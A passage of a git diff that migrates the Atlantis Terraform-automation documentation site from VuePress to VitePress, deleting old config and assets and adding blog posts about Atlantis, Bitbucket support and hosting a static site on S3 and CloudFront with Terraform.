"/blog/2018/hosting-our-static-site-over-ssl-with-s3-acm-cloudfront-and-terraform" + }, + ] + }, + { + text: "2017", + collapsed: true, + items: [ + { text: "Introducing Atlantis", link: "/blog/2017/introducing-atlantis" }, + ] + }, + ] + } +] + +export { en } diff --git a/runatlantis.io/.vitepress/theme/index.ts b/runatlantis.io/.vitepress/theme/index.ts new file mode 100644 index 0000000000..395964ae4b --- /dev/null +++ b/runatlantis.io/.vitepress/theme/index.ts @@ -0,0 +1,11 @@ +import DefaultTheme from "vitepress/theme"; +import { defineAsyncComponent, h } from 'vue'; + +export default { + ...DefaultTheme, + Layout() { + return h(DefaultTheme.Layout, null, { + 'layout-top': () => h(defineAsyncComponent(() => import('../components/Banner.vue'))) + }); + } +}; diff --git a/runatlantis.io/.vuepress/components/HomeCustom.vue b/runatlantis.io/.vuepress/components/HomeCustom.vue deleted file mode 100644 index 27fe34e979..0000000000 --- a/runatlantis.io/.vuepress/components/HomeCustom.vue +++ /dev/null @@ -1,398 +0,0 @@ - - - - - diff --git a/runatlantis.io/.vuepress/config.js b/runatlantis.io/.vuepress/config.js deleted file mode 100644 index cd1f76488d..0000000000 --- a/runatlantis.io/.vuepress/config.js +++ /dev/null @@ -1,107 +0,0 @@ -module.exports = { - title: 'Atlantis', - description: 'Atlantis: Terraform Pull Request Automation', - ga: "UA-6850151-3", - head: [ - ['link', { rel: 'icon', type: 'image/png', href: '/favicon-196x196.png', sizes: '196x196' }], - ['link', { rel: 'icon', type: 'image/png', href: '/favicon-96x96.png', sizes: '96x96' }], - ['link', { rel: 'icon', type: 'image/png', href: '/favicon-32x32.png', sizes: '32x32' }], - ['link', { rel: 'icon', type: 'image/png', href: '/favicon-16x16.png', sizes: '16x16' }], - ['link', { rel: 'icon', type: 'image/png', href: '/favicon-128.png', sizes: '128x128' }], - ['link', { rel: 'apple-touch-icon-precomposed', sizes: '57x57', href: '/apple-touch-icon-57x57.png' }], - ['link', { rel: 'apple-touch-icon-precomposed', sizes: '114x114', href: '/apple-touch-icon-114x114.png' }], - ['link', { rel: 'apple-touch-icon-precomposed', sizes: '72x72', href: '/apple-touch-icon-72x72.png' }], - ['link', { rel: 'apple-touch-icon-precomposed', sizes: '144x144', href: '/apple-touch-icon-144x144.png' }], - ['link', { rel: 'apple-touch-icon-precomposed', sizes: '60x60', href: '/apple-touch-icon-60x60.png' }], - ['link', { rel: 'apple-touch-icon-precomposed', sizes: '120x120', href: '/apple-touch-icon-120x120.png' }], - ['link', { rel: 'apple-touch-icon-precomposed', sizes: '76x76', href: '/apple-touch-icon-76x76.png' }], - ['link', { rel: 'apple-touch-icon-precomposed', sizes: '152x152', href: '/apple-touch-icon-152x152.png' }], - ['meta', {name: 'msapplication-TileColor', content: '#FFFFFF' }], - ['meta', {name: 'msapplication-TileImage', content: '/mstile-144x144.png' }], - ['meta', {name: 'msapplication-square70x70logo', content: '/mstile-70x70.png' }], - ['meta', {name: 'msapplication-square150x150logo', content: '/mstile-150x150.png' }], - ['meta', {name: 'msapplication-wide310x150logo', content: '/mstile-310x150.png' }], - ['meta', {name: 'msapplication-square310x310logo', content: '/mstile-310x310.png' }], - ['link', { rel: 'stylesheet', sizes: '152x152', href: 'https://fonts.googleapis.com/css?family=Lato:400,900' }], - ['meta', {name: 'google-site-verification', content: 'kTnsDBpHqtTNY8oscYxrQeeiNml2d2z-03Ct9wqeCeE' }] - ], - themeConfig: { - algolia: { - apiKey: '3b733dff1539ca3a210775860301fa86', - indexName: 'runatlantis' - }, - logo: '/hero.png', - nav: [ - {text: 'Home', link: '/'}, - {text: 'Guide', link: '/guide/'}, - {text: 'Docs', link: '/docs/'}, - {text: 'Blog', link: 'https://medium.com/runatlantis'} - ], - sidebar: { - '/guide/': [ - '', - 'test-drive', - 'testing-locally', - ], - '/docs/': [ - { - title: 'Installing Atlantis', - collapsable: true, - children: [ - 'installation-guide', - 'requirements', - 'access-credentials', - 'webhook-secrets', - 'deployment', - 'configuring-webhooks', - 'provider-credentials' - ] - }, - { - title: 'Configuring Atlantis', - collapsable: true, - children: [ - ['configuring-atlantis', 'Overview'], - 'server-configuration', - 'server-side-repo-config', - 'custom-workflows', - 'repo-level-atlantis-yaml', - 'upgrading-atlantis-yaml', - 'apply-requirements', - 'checkout-strategy', - 'terraform-versions', - 'terraform-cloud' - ] - }, - { - title: 'Using Atlantis', - collapsable: true, - children: [ - ['using-atlantis', 'Overview'] - ] - }, - { - title: 'How Atlantis Works', - collapsable: true, - children: [ - ['how-atlantis-works', 'Overview'], - 'locking', - 'autoplanning', - 'automerging', - 'security' - ] - }, - { - title: 'Troubleshooting', - collapsable: true, - children: [ - 'troubleshooting-https', - ] - } - ] - }, - repo: 'runatlantis/atlantis', - docsDir: 'runatlantis.io', - editLinks: true, - } -} diff --git a/runatlantis.io/.vuepress/override.styl b/runatlantis.io/.vuepress/override.styl deleted file mode 100644 index 284bb6076d..0000000000 --- a/runatlantis.io/.vuepress/override.styl +++ /dev/null @@ -1,4 +0,0 @@ -$accentColor = #0074db -$textColor = #2c3e50 -$borderColor = #eaecef -$codeBgColor = #282c34 diff --git a/runatlantis.io/.vuepress/public/_redirects b/runatlantis.io/.vuepress/public/_redirects deleted file mode 100644 index a025dc528b..0000000000 --- a/runatlantis.io/.vuepress/public/_redirects +++ /dev/null @@ -1,2 +0,0 @@ -/guide/getting-started.html /guide/ -/docs/atlantis-yaml-reference.html /docs/repo-level-atlantis-yaml.html diff --git a/runatlantis.io/.vuepress/public/certificate.svg b/runatlantis.io/.vuepress/public/certificate.svg deleted file mode 100644 index 17df5278b1..0000000000 --- a/runatlantis.io/.vuepress/public/certificate.svg +++ /dev/null @@ -1,59 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/runatlantis.io/.vuepress/public/checkmark.svg b/runatlantis.io/.vuepress/public/checkmark.svg deleted file mode 100644 index ccdc2f7404..0000000000 --- a/runatlantis.io/.vuepress/public/checkmark.svg +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - diff --git a/runatlantis.io/.vuepress/public/coding.svg b/runatlantis.io/.vuepress/public/coding.svg deleted file mode 100644 index 1f67eec776..0000000000 --- a/runatlantis.io/.vuepress/public/coding.svg +++ /dev/null @@ -1,42 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/runatlantis.io/.vuepress/public/list.svg b/runatlantis.io/.vuepress/public/list.svg deleted file mode 100644 index 8c5735e658..0000000000 --- a/runatlantis.io/.vuepress/public/list.svg +++ /dev/null @@ -1,49 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/runatlantis.io/.vuepress/public/mobile-workflow-min.png b/runatlantis.io/.vuepress/public/mobile-workflow-min.png deleted file mode 100644 index b8eea33cc2..0000000000 Binary files a/runatlantis.io/.vuepress/public/mobile-workflow-min.png and /dev/null differ diff --git a/runatlantis.io/.vuepress/public/powerful.svg b/runatlantis.io/.vuepress/public/powerful.svg deleted file mode 100644 index e179434b71..0000000000 --- a/runatlantis.io/.vuepress/public/powerful.svg +++ /dev/null @@ -1,18 +0,0 @@ - - - - - - - - - - - - - - - - - diff --git a/runatlantis.io/.vuepress/public/workflow-min.png b/runatlantis.io/.vuepress/public/workflow-min.png deleted file mode 100644 index 1c9e383c70..0000000000 Binary files a/runatlantis.io/.vuepress/public/workflow-min.png and /dev/null differ diff --git a/runatlantis.io/.vuepress/style.styl b/runatlantis.io/.vuepress/style.styl deleted file mode 100644 index ed600df81e..0000000000 --- a/runatlantis.io/.vuepress/style.styl +++ /dev/null @@ -1,38 +0,0 @@ -.theme-container.home-custom { - .hero { - h1 { - font-size: 64px - font-family: Lato, sans-serif - font-weight: 900 - color: #222 - } - img { - height: 200px - } - } - p.description { - position: relative - } - p.description:before { - position: absolute; - content: ''; - width: 40px; - height: 3px; - top: -19px; - left: 50%; - margin-left: -20px; - background: #ff3366; - } - .feature { - h2 { - color: #222 - } - p { - color: #222 - } - } -} - -.sidebar-heading { - font-size: inherit -} diff --git a/runatlantis.io/README.md b/runatlantis.io/README.md deleted file mode 100644 index 4dffb1f17e..0000000000 --- a/runatlantis.io/README.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -layout: HomeCustom -pageClass: home-custom -heroImage: /hero.png -heroText: Atlantis -actionText: Get Started → -actionLink: /guide/ -title: Terraform Pull Request Automation ---- diff --git a/runatlantis.io/blog.md b/runatlantis.io/blog.md new file mode 100644 index 0000000000..866e2be7a6 --- /dev/null +++ b/runatlantis.io/blog.md @@ -0,0 +1,28 @@ +--- +title: Welcome to Our Blog +aside: false +--- + +# Welcome to Our Blog + +We are thrilled to have you here! Our blog is a collection of insightful articles, tips, and updates from our team. Whether you're new or have been following us for a while, there's always something new to learn and explore. + +### Explore Our Popular Posts + +We have a rich history of blog posts dating back to 2017-2019. Here are some of our popular posts: + +- [4 Reasons To Try HashiCorp's (New) Free Terraform Remote State Storage](blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage.md) +- [I'm Joining HashiCorp!](blog/2018/joining-hashicorp.md) +- [Putting The Dev Into DevOps: Why Your Developers Should Write Terraform Too](blog/2018/putting-the-dev-into-devops-why-your-developers-should-write-terraform-too.md) +- [Atlantis 0.4.4 Now Supports Bitbucket](blog/2018/atlantis-0-4-4-now-supports-bitbucket.md) +- [Terraform And The Dangers Of Applying Locally](blog/2018/terraform-and-the-dangers-of-applying-locally.md) +- [Hosting Our Static Site over SSL with S3, ACM, CloudFront and Terraform](blog/2018/hosting-our-static-site-over-ssl-with-s3-acm-cloudfront-and-terraform.md) +- [Introducing Atlantis](blog/2017/introducing-atlantis.md) + +### Welcoming New Blog Authors + +We are excited to welcome new authors to our blog. Our diverse team brings a wealth of knowledge and experience to share with our readers. Stay tuned for fresh perspectives and in-depth articles on the latest trends and technologies. + +If you have any questions or topics you would like us to cover, feel free to reach out on [Slack](https://slack.cncf.io/). We are always looking to engage with our community and provide valuable content. + +Happy reading! diff --git a/runatlantis.io/blog/2017/intro/intro1.gif b/runatlantis.io/blog/2017/intro/intro1.gif new file mode 100644 index 0000000000..9e6bedb234 Binary files /dev/null and b/runatlantis.io/blog/2017/intro/intro1.gif differ diff --git a/runatlantis.io/blog/2017/intro/intro2.webp b/runatlantis.io/blog/2017/intro/intro2.webp new file mode 100644 index 0000000000..73f3a8b687 Binary files /dev/null and b/runatlantis.io/blog/2017/intro/intro2.webp differ diff --git a/runatlantis.io/blog/2017/intro/intro3.webp b/runatlantis.io/blog/2017/intro/intro3.webp new file mode 100644 index 0000000000..06e695872b Binary files /dev/null and b/runatlantis.io/blog/2017/intro/intro3.webp differ diff --git a/runatlantis.io/blog/2017/intro/intro4.webp b/runatlantis.io/blog/2017/intro/intro4.webp new file mode 100644 index 0000000000..1e5447af91 Binary files /dev/null and b/runatlantis.io/blog/2017/intro/intro4.webp differ diff --git a/runatlantis.io/blog/2017/intro/intro5.webp b/runatlantis.io/blog/2017/intro/intro5.webp new file mode 100644 index 0000000000..570893d50b Binary files /dev/null and b/runatlantis.io/blog/2017/intro/intro5.webp differ diff --git a/runatlantis.io/blog/2017/intro/intro6.webp b/runatlantis.io/blog/2017/intro/intro6.webp new file mode 100644 index 0000000000..737f2bdb37 Binary files /dev/null and b/runatlantis.io/blog/2017/intro/intro6.webp differ diff --git a/runatlantis.io/blog/2017/intro/intro7.webp b/runatlantis.io/blog/2017/intro/intro7.webp new file mode 100644 index 0000000000..0d17cfa0de Binary files /dev/null and b/runatlantis.io/blog/2017/intro/intro7.webp differ diff --git a/runatlantis.io/blog/2017/intro/intro8.webp b/runatlantis.io/blog/2017/intro/intro8.webp new file mode 100644 index 0000000000..c78901d58d Binary files /dev/null and b/runatlantis.io/blog/2017/intro/intro8.webp differ diff --git a/runatlantis.io/blog/2017/intro/intro9.webp b/runatlantis.io/blog/2017/intro/intro9.webp new file mode 100644 index 0000000000..3a9fe02848 Binary files /dev/null and b/runatlantis.io/blog/2017/intro/intro9.webp differ diff --git a/runatlantis.io/blog/2017/introducing-atlantis.md b/runatlantis.io/blog/2017/introducing-atlantis.md new file mode 100644 index 0000000000..c0e805cc1f --- /dev/null +++ b/runatlantis.io/blog/2017/introducing-atlantis.md @@ -0,0 +1,113 @@ +--- +title: Introducing Atlantis +lang: en-US +--- + +# Introducing Atlantis + +::: info +This post was originally written on September 11th, 2017 + +Original post: +::: + +We're very excited to announce the open source release of Atlantis! Atlantis is a tool for +collaborating on Terraform that's been in use at Hootsuite for over a year. The core +functionality of Atlantis enables developers and operators to run `terraform plan` and +`apply` directly from Terraform pull requests. Atlantis then comments back on the pull +request with the output of the commands: + +![](intro/intro1.gif) + +This is a simple feature, however it has had a massive effect on how our team writes Terraform. +By bringing a Terraform workflow to pull requests, Atlantis helped our Ops team collaborate +better on Terraform and also enabled our entire development team to write and execute Terraform safely. + +Atlantis was built to solve two problems that arose at Hootsuite as we adopted Terraform: + +### 1. Effective Collaboration + +What's the best way to collaborate on Terraform in a team setting? + +### 2. Developers Writing Terraform + +How can we enable our developers to write and apply Terraform safely? + +## Effective Collaboration + +When writing Terraform, there are a number of workflows you can follow. The simplest workflow is just using `master`: + +![](intro/intro2.webp) + +In this workflow, you work on `master` and run `terraform` locally. +The problem with this workflow is that there is no collaboration or code review. +So we start to use pull requests: + +![](intro/intro3.webp) + +We still run `terraform plan` locally, but once we're satisfied with the changes we create a pull request for review. When the pull request is approved, we run `apply` locally. + +This workflow is an improvement, but there are still problems. The first problem is that it's hard to review just the diff on the pull request. To properly review a change, you really need to see the output from `terraform plan`. + +![](intro/intro4.webp) + +What looks like a small change... + +![](intro/intro5.webp) + +...can have a big plan + +The second problem is that now it's easy for `master` to get out of sync with what's actually been applied. This can happen if you merge a pull request without running `apply` or if the `apply` has an error halfway through, you forget to fix it and then you merge to `master`. Now what's in `master` isn't actually what's running on production. At best, this causes confusion the next time someone runs `terraform plan`. At worst, it causes an outage when someone assumes that what's in `master` is actually running, and depends on it. + +With the Atlantis workflow, these problems are solved: + +![](intro/intro6.webp) + +Now it's easy to review changes because you see the `terraform plan` output on the pull request. + +![](intro/intro7.webp) + +Pull requests are easy to review since you can see the plan + +It's also easy to ensure that the pull request is `terraform apply`'d before merging to master because you can see the actual `apply` output on the pull request. + +![](intro/intro8.webp) + +So, Atlantis makes working on Terraform within an operations team much easier, but how does it help with getting your whole team to write Terraform? + +## Developers Writing Terraform + +Terraform usually starts out being used by the Ops team. As a result of using Terraform, the Ops team becomes much faster at making infrastructure changes, but the way developers request those changes remains the same: they use a ticketing system or chat to ask operations for help, the request goes into a queue and later Ops responds that the task is complete. + +Soon however, the Ops team starts to realize that it's possible for developers to make some of these Terraform changes themselves! There are some problems that arise though: + +- Developers don't have the credentials to actually run Terraform commands +- If you give them credentials, it's hard to review what is actually being applied + +With Atlantis, these problems are solved. All `terraform plan` and `apply` commands are run from the pull request. This means developers don't need to have any credentials to run Terraform locally. Of course, this can be dangerous: how can you ensure developers (who might be new to Terraform) aren't applying things they shouldn't? The answer is code reviews and approvals. + +Since Atlantis comments back with the `plan` output directly on the pull request, it's easy for an operations engineer to review exactly what changes will be applied. And Atlantis can run in `require-approval` mode, that will require a GitHub pull request approval before allowing `apply` to be run: + +![](intro/intro9.webp) + +With Atlantis, developers are able to write and apply Terraform safely. They submit pull requests, can run `atlantis plan` until their change looks good and then get approval from Ops to `apply`. + +Since the introduction of Atlantis at Hootsuite, we've had **78** contributors to our Terraform repositories, **58** of whom are developers (**75%**). + +## Where we are now + +Since the introduction of Atlantis at Hootsuite we've grown to 144 Terraform repositories [^1] that manage thousands of Amazon resources. Atlantis is used for every single Terraform change throughout our organization. + +## Getting started with Atlantis + +If you'd like to try out Atlantis for your team you can download the latest release from . If you run `atlantis testdrive` you can get started in less than 5 minutes. To read more about Atlantis go to . + +Check out our video for more information: + + + +[^1]: We split our Terraform up into multiple states, each with its own repository (see [1], [2], [3]). + +[1]: https://blog.gruntwork.io/how-to-manage-terraform-state-28f5697e68fa +[2]: https://charity.wtf/2016/03/30/terraform-vpc-and-why-you-want-a-tfstate-file-per-env/ +[3]: https://www.nclouds.com/blog/terraform-multi-state-management/ diff --git a/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket.md b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket.md new file mode 100644 index 0000000000..c70b0e3550 --- /dev/null +++ b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket.md @@ -0,0 +1,102 @@ +--- +title: Atlantis 0.4.4 Now Supports Bitbucket +lang: en-US +--- + +# Atlantis 0.4.4 Now Supports Bitbucket + +::: info +This post was originally written on July 25th, 2018 + +Original post: +::: + +![](atlantis-0-4-4-now-supports-bitbucket/pic1.webp) + +Atlantis is an [open source](https://github.com/runatlantis/atlantis) platform for using Terraform in teams. I'm happy to announce that the [latest release](https://github.com/runatlantis/atlantis/releases) of Atlantis (0.4.4) now supports both Bitbucket Cloud (bitbucket.org) **and** Bitbucket Server (aka Stash). + +![](atlantis-0-4-4-now-supports-bitbucket/pic2.gif) + +Atlantis now supports the three major Git hosts: GitHub, GitLab and Bitbucket. The rest of this post will talk about how to use Atlantis with Bitbucket. + +## What is Atlantis? + +Atlantis is a self-hosted application that listens for Terraform pull request events via webhooks. It runs `terraform plan` and `apply` remotely and comments back on the pull request with the output. + +With Atlantis, you collaborate on the Terraform pull request itself instead of running `terraform apply` from your own computers which can be dangerous: + +Check out for more information. + +## Getting Started + +The easiest way to try out Atlantis with Bitbucket is to run Atlantis locally on your own computer. Eventually you'll want to deploy it as a standalone app but this is the easiest way to try it out. Follow [these instructions](https://www.runatlantis.io/guide/getting-started.html) to get Atlantis running locally. + +Create a Pull Request +If you've got the Atlantis webhook configured for your repository and Atlantis is running, it's time to create a new pull request. I recommend adding a `null_resource` to one of your Terraform files for the the test pull request. It won't actually create anything so it's safe to use as a test. + +Using the web editor, open up one of your Terraform files and add: + +```tf +resource "null_resource" "example" {} +``` + +![](atlantis-0-4-4-now-supports-bitbucket/pic3.webp) + +Click Commit and select **Create a pull request for this change**. + +![](atlantis-0-4-4-now-supports-bitbucket/pic4.webp) + +Wait a few seconds and then refresh. Atlantis should have automatically run `terraform plan` and commented back on the pull request: + +![](atlantis-0-4-4-now-supports-bitbucket/pic5.webp) + +Now it's easier for your colleagues to review the pull request because they can see the `terraform plan` output. + +### Terraform Apply + +Since all we're doing is adding a null resource, I think it's safe to run `terraform apply`. To do so, I add a comment to the pull request: `atlantis apply`: + +![](atlantis-0-4-4-now-supports-bitbucket/pic6.webp) + +Atlantis is listening for pull request comments and will run `terraform apply` remotely and comment back with the output: + +![](atlantis-0-4-4-now-supports-bitbucket/pic7.webp) + +### Pull Request Approvals + +If you don't want anyone to be able to `terraform apply`, you can run Atlantis with `--require-approval` or add that setting to your [atlantis.yaml file](https://www.runatlantis.io/docs/command-requirements.html#approved). + +This will ensure that the pull request has been approved before someone can run `apply`. + +## Other Features + +### Customizable Commands + +Apart from being able to `plan` and `apply` from the pull request, Atlantis also enables you to customize the exact commands that are run via an `atlantis.yaml` config file. For example to use the `-var-file` flag: + +```yaml{14} +# atlantis.yaml +version: 2 +projects: +- name: staging + dir: "." + workflow: staging + +workflows: + staging: + plan: + steps: + - init + - plan: + extra_args: ["-var-file", "staging.tfvars"] +``` + +### Locking For Coordination + +![](atlantis-0-4-4-now-supports-bitbucket/pic8.webp) + +Atlantis will prevent other pull requests from running against the same directory as an open pull request so that each plan is applied atomically. Once the first pull request is merged, other pull requests are unlocked. + +## Next Steps + +If you're interested in using Atlantis with Bitbucket, check out our Getting Started docs. Happy Terraforming! diff --git a/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic1.webp b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic1.webp new file mode 100644 index 0000000000..72dbca2425 Binary files /dev/null and b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic1.webp differ diff --git a/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic2.gif b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic2.gif new file mode 100644 index 0000000000..5846753a4f Binary files /dev/null and b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic2.gif differ diff --git a/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic3.webp b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic3.webp new file mode 100644 index 0000000000..8119b862e5 Binary files /dev/null and b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic3.webp differ diff --git a/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic4.webp b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic4.webp new file mode 100644 index 0000000000..96a6eb388d Binary files /dev/null and b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic4.webp differ diff --git a/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic5.webp b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic5.webp new file mode 100644 index 0000000000..936b7a02ab Binary files /dev/null and b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic5.webp differ diff --git a/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic6.webp b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic6.webp new file mode 100644 index 0000000000..aafbc40298 Binary files /dev/null and b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic6.webp differ diff --git a/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic7.webp b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic7.webp new file mode 100644 index 0000000000..5e55af24fe Binary files /dev/null and b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic7.webp differ diff --git a/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic8.webp b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic8.webp new file mode 100644 index 0000000000..ced941c865 Binary files /dev/null and b/runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket/pic8.webp differ diff --git a/runatlantis.io/blog/2018/hosting-our-static-site-over-ssl-with-s3-acm-cloudfront-and-terraform.md b/runatlantis.io/blog/2018/hosting-our-static-site-over-ssl-with-s3-acm-cloudfront-and-terraform.md new file mode 100644 index 0000000000..91afea2af7 --- /dev/null +++ b/runatlantis.io/blog/2018/hosting-our-static-site-over-ssl-with-s3-acm-cloudfront-and-terraform.md @@ -0,0 +1,174 @@ +--- +title: Hosting Our Static Site over SSL with S3, ACM, CloudFront and Terraform +lang: en-US +--- + +# Hosting Our Static Site over SSL with S3, ACM, CloudFront and Terraform + +::: info +This post was originally written on March 4, 2018 + +Original post: +::: + +In this post I cover how I hosted using + +- S3 — for storing the static site +- CloudFront — for serving the static site over SSL +- AWS Certificate Manager — for generating the SSL certificates +- Route53 — for routing the domain name to the correct location + +I chose Terraform in this case because Atlantis is a tool for automating and collaborating on Terraform in a team (see github.com/runatlantis/atlantis)–and so obviously it made sense to host our homepage using Terraform–but also because it's now much easier to manage. I don't have to go into the AWS console and click around to find what settings I want to change. Instead I can just look at ~100 lines of code, make a change, and run `terraform apply`. + +::: info +NOTE: 4 months after this writing, I moved the site to [Netlify](https://www.netlify.com/) because it automatically builds from my master branch on any change, updates faster since I don't need to wait for the Cloudfront cache to expire and gives me [deploy previews](https://www.netlify.com/blog/2016/07/20/introducing-deploy-previews-in-netlify/) of changes. The DNS records are still hosted on AWS. +::: + +# Overview + +There's a surprising number of components required to get all this working so I'm going to start with an overview of what they're all needed for. Here's what the final architecture looks like: + +![](hosting-our-static-site/pic1.webp) + +That's what the final product looks like, but lets start with the steps required to get there. + +## Step 1 — Generate The Site + +The first step is to have a site generated. Our site uses [Hugo](https://gohugo.io/), a Golang site generator. Once it's set up, you just need to run `hugo` and it will generate a directory with HTML and all your content ready to host. + +## Step 2 — Host The Content + +Once you've got a website, you need it to be accessible on the internet. I used S3 for this because it's dirt cheap and it integrates well with all the other necessary components. I simply upload my website folder to the S3 bucket. + +## Step 3 — Generate an SSL Certificate + +I needed to generate an SSL certificate for . I used the AWS Certificate Manager for this because it's free and is easily integrated with the rest of the system. + +## Step 4 — Set up DNS + +Because I'm going to host the site on AWS services, I need requests to to be routed to those services. Route53 is the obvious solution. + +## Step 5 — Host with CloudFront + +At this point, we've generated an SSL certificate for and our website is available on the internet via its S3 url so can't we just CNAME to the S3 bucket and call it a day? Unfortunately not. + +Since we generated our own certificate, we would need S3 to sign its responses using our certificate. S3 doesn't support this and thus we need CloudFront. CloudFront supports using our own SSL cert and will just pull its data from the S3 bucket. + +# Terraform Time + +Now that we know what our architecture should look like, it's simply a matter of writing the Terraform. + +## Initial Setup + +Create a new file `main.tf`: + +@include: ./publichosting-our-static-site/code/main.tf + +## S3 Bucket + +Assuming we've generated our site content already, we need to create an S3 bucket to host the content. + +@include: /publichosting-our-static-site/code/s3-bucket.tf + +We should be able to run Terraform now to create the S3 bucket + +```sh +terraform init +`terraform apply` +``` + +![](hosting-our-static-site/pic2.webp) + +Now we want to upload our content to the S3 bucket: + +```sh +$ cd dir/with/website +# generate the HTML +$ hugo -d generated +$ cd generated +# send it to our S3 bucket +$ aws s3 sync . s3://www.runatlantis.io/ # change this to your bucket +``` + +Now we need the S3 url to see our content: + +```sh +$ terraform state show aws_s3_bucket.www | grep website_endpoint +website_endpoint = www.runatlantis.io.s3-website-us-east-1.amazonaws.com +``` + +You should see your site hosted at that url! + +## SSL Certificate + +Let's use the AWS Certificate Manager to create our SSL certificate. + +@include hosting-our-static-site/code/ssl-cert.tf + +Before you run `terraform apply`, ensure you're forwarding any of + +- `administrator@your_domain_name` +- `hostmaster@your_domain_name` +- `postmaster@your_domain_name` +- `webmaster@your_domain_name` +- `admin@your_domain_name` + +To an email address you can access. Then, run `terraform apply` and you should get an email from AWS to confirm you own this domain where you'll need to click on the link. + +## CloudFront + +Now we're ready for CloudFront to host our website using the S3 bucket for the content and using our SSL certificate. Warning! There's a lot of code ahead but most of it is just defaults. + +@include: hosting-our-static-site/code/cloudfront.tf + +Apply the changes with `terraform apply` and then find the domain name that CloudFront gives us: + +```sh +$ terraform state show aws_cloudfront_distribution.www_distribution | grep ^domain_name +domain_name = d1l8j8yicxhafq.cloudfront.net +``` + +You'll probably get an error if you go to that URL right away. You need to wait a couple minutes for CloudFront to set itself up. It took me 10 minutes. You can view its progress in the console: + +## DNS + +We're almost done! We've got CloudFront hosting our site, now we need to point our DNS at it. + +@include: hosting-our-static-site/code/dns.tf + +If you bought your domain from somewhere else like Namecheap, you'll need to point your DNS at the nameservers listed in the state for the Route53 zone you created. First `terraform apply` (which may take a while), then find out your nameservers. + +```sh +$ terraform state show aws_route53_zone.zone +id = Z2FNAJGFW912JG +comment = Managed by Terraform +force_destroy = false +name = runatlantis.io +name_servers.# = 4 +name_servers.0 = ns-1349.awsdns-40.org +name_servers.1 = ns-1604.awsdns-08.co.uk +name_servers.2 = ns-412.awsdns-51.com +name_servers.3 = ns-938.awsdns-53.net +tags.% = 0 +zone_id = Z2FNAJGFW912JG +``` + +Then look at your domain's docs for how to change your nameservers to all 4 listed. + +## That's it...? + +Once the DNS propagates you should see your site at `https://www.yourdomain`! But what about `https://yourdomain`? i.e. without the `www.`? Shouldn't this redirect to `https://www.yourdomain`? + +## Root Domain + +It turns out, we need to create a whole new S3 bucket, CloudFront distribution and Route53 record just to get this to happen. That's because although S3 can serve up a redirect to the www version of your site, it can't host SSL certs and so you need CloudFront. I've included all the terraform necessary for that below. + +Congrats! You're done! + + + +If you're using Terraform in a team, check out Atlantis: for automation and collaboration to make your team happier! + +Here's the Terraform needed to redirect your root domain: + +@include: hosting-our-static-site/code/full.tf diff --git a/runatlantis.io/blog/2018/hosting-our-static-site/code/cloudfront.tf b/runatlantis.io/blog/2018/hosting-our-static-site/code/cloudfront.tf new file mode 100644 index 0000000000..3f0a3a4715 --- /dev/null +++ b/runatlantis.io/blog/2018/hosting-our-static-site/code/cloudfront.tf @@ -0,0 +1,59 @@ +resource "aws_cloudfront_distribution" "www_distribution" { + // origin is where CloudFront gets its content from. + origin { + // We need to set up a "custom" origin because otherwise CloudFront won't + // redirect traffic from the root domain to the www domain, that is from + // runatlantis.io to www.runatlantis.io. + custom_origin_config { + // These are all the defaults. + http_port = "80" + https_port = "443" + origin_protocol_policy = "http-only" + origin_ssl_protocols = ["TLSv1", "TLSv1.1", "TLSv1.2"] + } + + // Here we're using our S3 bucket's URL! + domain_name = "${aws_s3_bucket.www.website_endpoint}" + // This can be any name to identify this origin. + origin_id = "${var.www_domain_name}" + } + + enabled = true + default_root_object = "index.html" + + // All values are defaults from the AWS console. + default_cache_behavior { + viewer_protocol_policy = "redirect-to-https" + compress = true + allowed_methods = ["GET", "HEAD"] + cached_methods = ["GET", "HEAD"] + // This needs to match the `origin_id` above. + target_origin_id = "${var.www_domain_name}" + min_ttl = 0 + default_ttl = 86400 + max_ttl = 31536000 + + forwarded_values { + query_string = false + cookies { + forward = "none" + } + } + } + + // Here we're ensuring we can hit this distribution using www.runatlantis.io + // rather than the domain name CloudFront gives us. + aliases = ["${var.www_domain_name}"] + + restrictions { + geo_restriction { + restriction_type = "none" + } + } + + // Here's where our certificate is loaded in! + viewer_certificate { + acm_certificate_arn = "${aws_acm_certificate.certificate.arn}" + ssl_support_method = 